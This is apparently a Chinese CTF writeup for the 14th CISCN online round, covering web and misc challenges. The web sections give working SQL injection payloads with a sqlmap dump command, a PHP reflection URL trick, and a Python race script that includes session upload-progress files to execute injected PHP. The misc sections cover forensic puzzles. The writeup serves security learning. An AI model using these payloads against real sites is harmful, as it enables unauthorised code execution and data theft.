首页 > 其他分享 >第十四届全国大学生信息安全竞赛-线上赛Writeup

第十四届全国大学生信息安全竞赛-线上赛Writeup

时间:2023-06-19 22:07:11浏览次数:49  
标签:上赛 Writeup 信息安全 flag test import line x00 data



文章目录

  • 场景实操开场卷
  • WEB
  • easy_sql
  • easy_source
  • MISC
  • tiny traffic
  • running_pixel
  • 场景实操二阶卷
  • WEB
  • middle_source
  • MISC
  • 隔空传话
  • 场景实操冲刺卷
  • MISC
  • robot



场景实操开场卷

WEB

easy_sql

第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN


第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_02


有sql报错

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_03


简单fuzz了一下发现过滤了unioninformationcolumninno等关键字。

无表名,无列名注入。但是sqlmap还可以跑爆破表和部分字段

第十四届全国大学生信息安全竞赛-线上赛Writeup_php_04


第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_05


第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_06


字段只能爆破出一个id 接下来想办法得到列名

uname=admin')and mid(concat(0x7e,(select*from (select * from flag as a join flag b using(id))c),0x7e),1,1)#

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_07


出了一个no字段

uname=admin')and mid(concat(0x7e,(select*from (select * from flag as a join flag b using(id,no))c),0x7e),1,1)#

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_08


得到了edac52a9-7ada-424e-b833-a55e46dff8ba字段名

接着sqlmap直接查数据

python2 sqlmap.py -r .\test.txt -D 'security' -T 'flag' -C 'id,no,edac52a9-7ada-424e-b833-a55e46dff8ba' --dump

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_09

CISCN{f0NVx-gLqq2-NYh9Q-E72mo-X20CZ-}

easy_source

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_10


结合提示,flag应该在php代码的注释中

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_11


SourceLeakHacker扫描发现/.index.php.swo文件

第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN_12


访问拿到源码

本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

动态拼接类、方法、参数,尝试使用PHP标准类

参考了2019CISCN的题目:https://museljh.github.io/2019/04/24/ctf中的php反射/

第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN_13


ReflectionMethod类继承了这一方法

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_14


然后挨个尝试了User类的所有方法,发现当rb=q时回显注释中的flag

/index.php?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_15

CISCN{OMvIz-OUpOw-4YSrc-lUKjv-28Gqo-}

MISC

tiny traffic

第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN_16


tiny_traffic.pcapng主要是TCP流量为主,那就导出HTTP对象

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_17


导出HTTP对象的时候发现有gzip文件和br文件

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_18


flag_wrapper.gz解压后得到一个flag_wrapper,可直接查看

第十四届全国大学生信息安全竞赛-线上赛Writeup_php_19


第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_20


没啥用,接着看两个br文件

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_21


第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN_22


secret.br解压得到secret,还是看不懂

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_23


test.br解压得到test,可直接使用文本编辑器打开,得到如下

syntax = "proto3";

message PBResponse {
  int32 code = 1;
  int64 flag_part_convert_to_hex_plz = 2;
  message data {
    string junk_data = 2;
    string flag_part = 1;
  }
  repeated data dataList = 3;
  int32 flag_part_plz_convert_to_hex = 4;
  string flag_last_part = 5;
}

message PBRequest {
  string cate_id = 1;
  int32 page = 2;
  int32 pageSize = 3;
}

根据关键字proto3搜索引擎找一找即可得知如下

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_24


网上很多protobuf序列化与反序列化的相关资料可查阅,不细赘述。

secret作为字节流文件,猜测即为protobuf的序列化之后的数据。那么接下来就使用Python来做反序列化。

Protoc3环境:https://github.com/protocolbuffers/protobuf/releases

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_25


下载解压后进入到bin目录,将之前解压出来的test改为test.proto并移动到bin目录

.\protoc.exe --python_out=. test.proto

得到test_pb2.py的模块文件
接着我们利用这个模块进行反序列化
先得安装protobuf模块

pip3 install protobuf

接着把解压后的secret也移动到bin目录

# test.py
import test_pb2

with open('./secret','rb') as f:
    data = f.read()
    target = test_pb2.PBResponse()
    target.ParseFromString(data)
    print(target)
PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin> ls

    Directory: C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----           2021/5/16     1:57                __pycache__
-a---           2021/5/13     8:25        3781120 protoc.exe
-a---           2021/5/15    18:15             57 secret
-a---           2021/5/16     1:54           7682 test_pb2.py
-a---           2021/5/15    16:04            361 test.proto
-a---           2021/5/15    18:37            163 test.py

PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin> python .\test.py
code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
  flag_part: "e2345"
  junk_data: "7af2c"
}
dataList {
  flag_part: "7889b0"
  junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"

PS C:\Users\Administrator\Downloads\protobuf\protoc-3.17.0-win64\bin>

接着根据反序列化得到的内容拼接flag即可

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_26

CISCN{e66a22e23457889b0fb1146d172a38dc}

running_pixel

第十四届全国大学生信息安全竞赛-线上赛Writeup_php_27


running_pixel.gif是一张动图

第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN_28


使用ffmpeg直接把每一帧分帧成图片

.\ffmpeg.exe -i .\running_pixel.gif ./img/%d.png

得到总共382张图片,仔细观察这些图片,发现其中有部分图片,总会含有这个RGB: 233,233,233的像素块

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_29


猜测将这些含有像素RGB: 233,233,233的像素块提取出来,绘制成flag,将中途绘制的每一张图片保存出来

from PIL import Image

flag_img = Image.new('1',(400,400))
#mode=1 1位黑白像素,每字节存储一个像素
for name in range(1,383):
    framepic = Image.open(str(name)+'.png')
    framepic = framepic.convert("RGB")
    width,height = framepic.size
    for w in range(width):
        for h in range(height):
            if framepic.getpixel((w,h)) == (233,233,233):
                flag_img.putpixel((h,w),1)#原本用(w,h)发现是反的

    flag_img.save('./flag/'+str(name)+'.png')

第十四届全国大学生信息安全竞赛-线上赛Writeup_php_30


从第一张看到最后一张,即使flag的字符顺序382.png如下

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_31


flag顺序为:12504D0F-9DE1-4B00-87A5-A5FDD0986A00

转换成小写即为正确的flag

CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

场景实操二阶卷

WEB

middle_source

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_32

<?php
    highlight_file(__FILE__);
    echo "your flag is in some file in /etc ";
    $fielf=$_POST["field"];
    $cf="/tmp/app_auth/cfile/".$_POST['cf'];
    
    if(file_exists($cf)){
        include $cf;
        echo $$field;
        exit;
    }
    else{
        echo "";
        exit;
    }
?> your flag is in some file in /etc

第十四届全国大学生信息安全竞赛-线上赛Writeup_php_33


扫出隐藏文件http://123.60.221.85:23275/.listing

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_34

cf=../../../var/www/html/you_can_seeeeeeee_me.php

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_35


disable_functions

第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN_36


伪协议试了一些没有效果,存在包含点,得想办法getshell,联想到PHP_SESSION_UPLOAD_PROGRESS包含Session文件

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_37


默认配置也都是开着的,session.save_path也在phpinfo中可以查看

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_38

session.save_path	/var/lib/php/sessions/dadcjaafjf

构造poc即可

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_39


第十四届全国大学生信息安全竞赛-线上赛Writeup_php_40

# -*- coding: utf-8 -*-
import io
import requests
import threading

myurl = 'http://123.60.221.85:23275/index.php'
sessid = 'mochu7'
myfile = io.BytesIO(b'mochu7' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php print_r(scandir('/'));?>"}
getshelldata = {'cf': '../../../../var/lib/php/sessions/dadcjaafjf/sess_'+sessid}
mycookie = {'PHPSESSID': sessid}

def writeshell(session):
    while True:
        resp = session.post(url=myurl, data=writedata, files={'file': ('mochu7.txt', myfile)}, cookies=mycookie)

def getshell(session):
    while True:
        resp = session.post(url=myurl, data=getshelldata)
        if 'upload_progress' in resp.text:
            print(resp.text)
            break
        else:
            pass


if __name__ == '__main__':
    session = requests.session()
    writeshell = threading.Thread(target=writeshell, args=(session,))
    writeshell.daemon = True
    writeshell.start()
    getshell(session)

最后发现flag在/etc/cfdgcjaedb/eehdebhdfg/debbeabiec/caghechgag/deffeaecfc/fl444444g

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_41

CISCN{LTcIA-c7UTV-e2SDM-KzngL-JODkM-}

MISC

隔空传话

第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN_42


第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_43


一开始尝试hex解码,无果,后面通过搜索引擎查找部分特征字符发现是PDU编码

PDU在线站:

把第一行放进去解码看一下

第十四届全国大学生信息安全竞赛-线上赛Writeup_php_44

前面几行的一些信息

hello,bob!what is the flag?

the first part of the flag is the first 8 digits of your phone number

那其他部分呢

看看你能从这些数据里发现什么?w465

提示第一部分flag为接收者电话的前八位:15030442

后面接下来0491开头的每一行都是长度160的十六进制数据

第十四届全国大学生信息安全竞赛-线上赛Writeup_CISCN_45


每一行解码出来的时间戳不一样,这里编码的数据应该是按照时间顺序来一块一块编码的

理解PDU编码规则:https://mirokaku.github.io/Blog/2017/PDU-Encode/我们将0491开头所有行复制出来,另存为data2.txt。解码时发现了png图片头的十六进制数据。

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_46


那就可以在解码后按照时间顺序写成png文件,在data2.txt的所有行中有一行解码后长度不是160而是100的字符串,这一串是没有用的,加上去反而影响了图片正常显示。

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_47


所以我们要把这一行解码后长度不为160的去掉,最终脚本如下

注意调用pdu编码解码的相关类和方法需安装如下两个模块

pip install smspdu
pip install smspdudecoder
# -*- coding: utf-8 -*-
#Author: mochu7
from time import strptime,mktime
from smspdu.codecs import GSM
from binascii import unhexlify

with open('data2.txt') as f:
    lines = f.readlines()
    mydic = {}
    for line in lines:
        Year = '20' + line[34:36][::-1]
        Month = line[36:38][::-1]
        Day = line[38:40][::-1]
        Hour = line[40:42][::-1]
        Minute = line[42:44][::-1]
        Second = line[44:46][::-1]
        time = '{}-{}-{} {}:{}:{}'.format(Year, Month, Day, Hour, Minute, Second)
        timestamp = int(mktime(strptime(time, r"%Y-%m-%d %H:%M:%S")))
        mydic[lines.index(line)] = timestamp
    mydic = sorted(mydic.items(), key=lambda item: item[1], reverse=False)
    with open('flag.png','wb') as f:
        for line_num in mydic:
            line_num = line_num[0]
            pducode = lines[line_num][50:330]
            data = GSM.decode(pducode)
            if len(data) == 160:
                f.write(unhexlify(data))
            else:
                pass

得到一张CRC校验报错的图片

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_48


第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_49


按照前面的提示,我们可以猜测这里原来的宽为465

第十四届全国大学生信息安全竞赛-线上赛Writeup_php_50


即可得到剩下的flag

第十四届全国大学生信息安全竞赛-线上赛Writeup_反序列化_51


或者可以使用爆破图片宽高的脚本

#coding=utf-8
import zlib
import struct
#读文件
file = 'flag.png'  #注意,1.png图片要和脚本在同一个文件夹下哦~
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
#crc32key = 0xCBD6DF8A #补上0x,copy hex value
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00')  #hex下copy grep hex
n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
for w in range(n):#高和宽一起爆破
    width = bytearray(struct.pack('>i', w))#q为8字节,i为4字节,h为2字节
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
            #print(data)
        crc32result = zlib.crc32(data)
        if crc32result == crc32key:
            print(width,height)
            #写文件
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')#保存副本
            fw.write(newpic)
            fw.close

运行即可得到图片的真实宽度

PS C:\Users\Administrator\Downloads> python .\crc.py
bytearray(b'\x00\x00\x01\xd1') bytearray(b'\x00\x00\x00?')

修改宽度即可得到flag

CISCN{15030442_b586_4c9e_b436_26def12293e4}

场景实操冲刺卷

MISC

robot

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_52


RobotStudio机器人绘制,直接看cap.pcapng流量包发现只有三个tcp流,其中第一流内容很大,且后面两个流比较小并没什么线索。分析第一个流发现了很多以下数据

第十四届全国大学生信息安全竞赛-线上赛Writeup_php_53


将整个流的内容复制到data.txt一开始惯性以为是图片的RGB数据,后来看了下发现第三位都是0,只有前两位,那么应该是坐标数据,直接点黑白。而且后来一想,RobotStudio机器人这东西估计也画不出颜色。

第十四届全国大学生信息安全竞赛-线上赛Writeup_第十四届大学生信息安全竞赛_54


这些坐标数据最大不超过400,直接简单利用Python来点黑白即可

from PIL import Image
import re

reg = re.compile(r'Value\.\[(\d+),(\d+),(\d+)\]')

with open('data.txt','r') as f:
    data = reg.findall(f.read())
    # print(data)
    # print(len(data))

img = Image.new('1', (400, 400))
for i in data:
    xy = (int(i[0]), int(i[1]))
    img.putpixel(xy, 1)
img.save("md5flag.png")

第十四届全国大学生信息安全竞赛-线上赛Writeup_sql_55

>>> from hashlib import md5
>>> md5('easy_robo_xx'.encode()).hexdigest()
'd4f1fb80bc11ffd722861367747c0f10'
CISCN{d4f1fb80bc11ffd722861367747c0f10}


标签:上赛,Writeup,信息安全,flag,test,import,line,x00,data
From: https://blog.51cto.com/u_16159500/6517817

相关文章

  • 2021-DASCTF-三月赛-Writeup
    文章目录WEBBestDBez_serializebaby_flaskez_loginMISC签到简单的png隐写雾都孤儿小田的秘密Ascii_art问卷调查和团队的师傅们组队拿了个第十,师傅们带飞,我就是团队的MVP(MostVegetablePeople)WEBBestDB简单的SQL注入/?query=mochu"or/**/1=1%23/?query=mochu"order/**/by/**/......
  • 2020 纵横杯 线上赛 MISC部分Writeup
    文章目录签到马赛克My_Secret问卷调查签到oct_str='[0146,0154,0141,0147,0173,0167,063,0154,0143,0157,0155,0145,0137,0164,0157,0137,062,0157,0156,0147,0137,0150,063,0156,0147,0137,0142,0145,061,0175]'oct_list=oct_str.replace(&q......
  • 白帽子社区端午节活动-白帽寻宝记-纪念屈原Writeup
    搜索引擎找一下即可得知:姓:芈氏:屈名:平字:原md5(芈屈平原,32)=16ccb09f96f27af192f541992560d695解压后先查看文件先来看看这个吧在两张图片的的中间存在一串base64解码得到WingDing编码◻︎♋︎⬧︎⬧︎⬥︎□︎❒︎♎︎♓︎⬧︎♋︎♌︎❍︎◻︎♐︎♓︎●︎♏︎⬥︎♓︎⧫︎♒︎♋︎♌︎♓︎⧫︎♎︎♏︎◻︎⧫︎♒︎□︎♐︎......
  • 第四届BJDCTF 4th-部分Writeup
    文章目录Webeasy_phpMisc马老师的秘籍FakePicCryptoasaReverseEasyVHWebeasy_php经过简单代码审计,发现可以通过变量覆盖来读取文件?var[template][tp1]=/etc/passwd&tp=tp1之后使用php://filter伪协议读取template.php的源码?var[template][tp1]=php://filter/read=convert.base......
  • 2022 RealWorld CTF体验赛Writeup
    文章目录DigitalSouvenirlog4flagBe-a-Database-HackertheSecretsofMemorybabyflaglabFlagConsoleBe-a-Database-Hacker2JavaRemoteDebuggerDigitalSouvenirrwctf{RealWorldIsAwesome}log4flag有一些正则过滤网上bypass方法很多,随便找一个就行${${::-j}ndi:${lower:r......
  • “东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-
    文章目录checkinprojectJumpJumpTigerwhere_can_find_code题目附件请自取:链接:https://pan.baidu.com/s/1T9nG-CDg_D8QYQZapuxucg提取码:2wubcheckin+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-UTF-7编码UTF-7在线解码站:http://toolswebtop.com/text/process/decode/utf-7flag{dhb_......
  • 第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec
    文章目录WebunzipdumpitBackendServicePwn烧烤摊儿funcanaryshellwebgoReverseezbytebabyreCrypto基于国密SM2算法的密钥密文分发可信度量Sign_in_passwdMisc签到卡被生产加密的流量国粹pyshellWebunzipln-s/var/www/html/webshellzip-rywebshell.zipwebshellcurlurl/......
  • 第四届“安洵杯”网络安全挑战赛MISC-Writeup
    文章目录应该算是签到CyzCC_loves_LOLCthulhuMythoslovemath题目附件请自取链接:https://pan.baidu.com/s/13TwadE6DenseIuRUNZlCKg提取码:rrpe应该算是签到B站搜索直接搜索这个BV号直接页面Ctrl+F没找出来搜索引擎找一下有没有通过API查弹幕的方法:https://www.bilibili.com......
  • 第一届赣网杯网络安全大赛 2020GW-CTF Misc_Writeup
    目录签到CheckinfaceDestroyJavaHidepig签到Checkinflag{welc0me_to_ganwangbei}faceLennyfuckinterpreterhttps://github.com/Knorax/Lennyfuck_interpreter跟着对照表替换即可++++++++++[->++++++++++<]>++.++++++.<+++[->---<]>--.++++++.<++++[->++++<......
  • BUUCTF NewStarCTF 公开赛赛道Week2 Writeup
    文章目录WEEK2WEBWord-For-You(2Gen)IncludeOneUnserializeOneezAPIMISCYesecnodrumsticks2Coldwinds'sDesktop奇怪的二维码qsdz'sgirlfriend2WEEK2WEBWord-For-You(2Gen)题目描述哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘......